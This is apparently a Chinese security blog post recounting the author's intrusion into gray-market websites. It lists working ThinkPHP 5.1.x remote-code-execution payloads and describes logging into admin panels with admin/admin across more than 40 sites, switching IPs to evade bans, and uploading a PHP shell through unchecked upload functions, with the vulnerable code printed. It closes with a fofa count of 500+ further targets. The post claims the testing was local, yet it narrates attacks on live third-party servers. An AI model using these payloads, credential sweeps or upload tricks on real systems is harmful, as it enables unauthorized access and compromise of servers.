0x00 前言最近一直在和团队表哥们实战打击灰黑产业 学到了很多经验 以此文来记录下挖掘的两个0day 以下渗透均为本地测试
0x01 信息收集
做了一波简单的收集如下: 看到Thinkphp 我想到的就是拿payload一把梭哈他 (奈何对方有宝塔WAF😢 没能绕过去) 因本人学艺不精,不会bypass,哭晕了😂
SHELL thinkphp5.1.x payload ?s=index/\think\Request/input&filter[]=system&data=pwd ?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?> ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?> ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
|
![图片](http://image109.360doc.com/DownloadImg/2022/09/1809/252249351_1_20220918095704662.png)
那咋办呢? 当然是继续干啊 还有前台后台没看呢!
0x02 漏洞挖掘前台: ![图片](http://image109.360doc.com/DownloadImg/2022/09/1809/252249351_2_20220918095704881.png)
后台: ![图片](http://image109.360doc.com/DownloadImg/2022/09/1809/252249351_3_2022091809570599.png)
拿出祖传弱口令 admin admin (弱口令是真的香😂) ![图片](http://image109.360doc.com/DownloadImg/2022/09/1809/252249351_4_20220918095705193.png)
来到后台嘛 肯定是找找上传点 找找注入(毕竟tp5 采用PDO 想了想算了吧)
最终在 http://zb./admin/Config/adds 找到一处上传点 反手就是一波抓包 、丢Repeater 改后缀 放包 ![图片](http://image109.360doc.com/DownloadImg/2022/09/1809/252249351_5_20220918095705381.png)
然后... 我就被ban了(哈哈哈哈,调皮,年轻人不讲伍德)
![图片](http://image109.360doc.com/DownloadImg/2022/09/1809/252249351_6_20220918095705631.png)
ban IP 就能阻止我的脚步? 换个IP 继续干!(年轻人你好自为之) 有了前车之鉴 还是先看下黑白名单吧 在经过我 不断换IP 后 得出结论... 这是一个任意文件上传 ![图片](http://image109.360doc.com/DownloadImg/2022/09/1809/252249351_7_20220918095705677.png)
漏洞是有了 但是宝塔咋绕啊 (检测内容+后缀限制) 没办法 只有收集下指纹 找找后台弱口令 去拿其他网站 在打包源码下来审计咯(闪电鞭,劈里啪啦) keyword
![图片](http://image109.360doc.com/DownloadImg/2022/09/1809/252249351_8_20220918095705990.png)
40多个站 弱口令还是很容易找到的 ![图片](http://image109.360doc.com/DownloadImg/2022/09/1809/252249351_9_20220918095706177.png)
![图片](http://image109.360doc.com/DownloadImg/2022/09/1809/252249351_10_20220918095706381.png) 果然没有宝塔的限制 就是一帆风顺(宝塔真恶心 淦)0x03 代码审计由于该套源码采用tp5框架注入就不看了 着重看功能点和权限验证PHP public function adds(){
if (!empty($_FILES['img']['tmp_name'])) { $uploadModel = new \app\common\service\Upload\Service('img'); $aa = $uploadModel->upload(); $data['img'] = $aa; } $data['addtime'] = date('Y-m-d H:i:s',time()); $data['url'] = $_POST['url']; $data['types'] = $_POST['types'];
$service = new \app\common\entity\Sl(); $result = $service->addArticle($data); $this->success('新增成功', 'config/sl'); }
|
PHP public function upload() { $file = request()->file($this->name); $info = $file->move('uploads'); if ($info) {
return $this->fileName = '/uploads/' . $info->getSaveName();
} else {
$this->error = $file->getError(); return false; } }
|
可以看到 完全没做任何限制 妥妥的任意文件上传 2. 文件上传 (2)
PHP public function uploadEditor() { $uploadModel = new \app\common\service\Upload\Service('image'); if ($uploadModel->upload()) { return json([ 'errno' => 0, 'data' => [$uploadModel->fileName] ]); } return json([ 'errno' => 1, 'fail ' => $uploadModel->error ]); }
|
有了第一个洞 、第二个洞就很好找了 又是一处任意文件上传 、不过是在前台 需要用户登录 在经过一番审计后 发现两个任意文件上传 前台 后台 其他的洞没发现(接触审计时间太短了挖不出来呀) 但是目标站上使用了宝塔WAF 由于自己太菜 没法绕过 选择放弃 0x04 转角遇见洞在我拿着shell 一筹莫展的时候 发现 ![图片](http://pubimage.360doc.com/wz/default.gif)
还有另外一个站 都在一台服务器上 肯定也不是啥好东西 看看是个啥站 ![图片](http://pubimage.360doc.com/wz/default.gif)
金手指 一看就不是好东西 搞个用户进里面看看 ![图片](http://pubimage.360doc.com/wz/default.gif)
应该是个接单赚佣金的平台吧 进都进来了 哪能就这么走了呀 挖挖前台的洞
启用了 httponly (xss就先不测试了) 在修改个人资料处 找到一处上传点 ![图片](http://pubimage.360doc.com/wz/default.gif)
base64 上传 我直接反手 修改jpeg 为php
![图片](http://pubimage.360doc.com/wz/default.gif)
操作成功? 又一个0day? ![图片](http://pubimage.360doc.com/wz/default.gif)
可能这就是运气吧! 收集下指纹 fofa查了一手 ![图片](http://pubimage.360doc.com/wz/default.gif)
500多个 美滋滋~
0x05 总结总体来说还是非常简单的 这两套系统都是可以前台后台直接getshell的 但是需要用户登录(注册需要邀请码) 从弱口令到0day挖掘 总结一下:弱口令永远滴神!!! 最后的最后未授权测试是违法的哦!😂 声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,否则需自行承担,本公众号及原作者不承担相应的后果。 如有侵权,请联系删除
|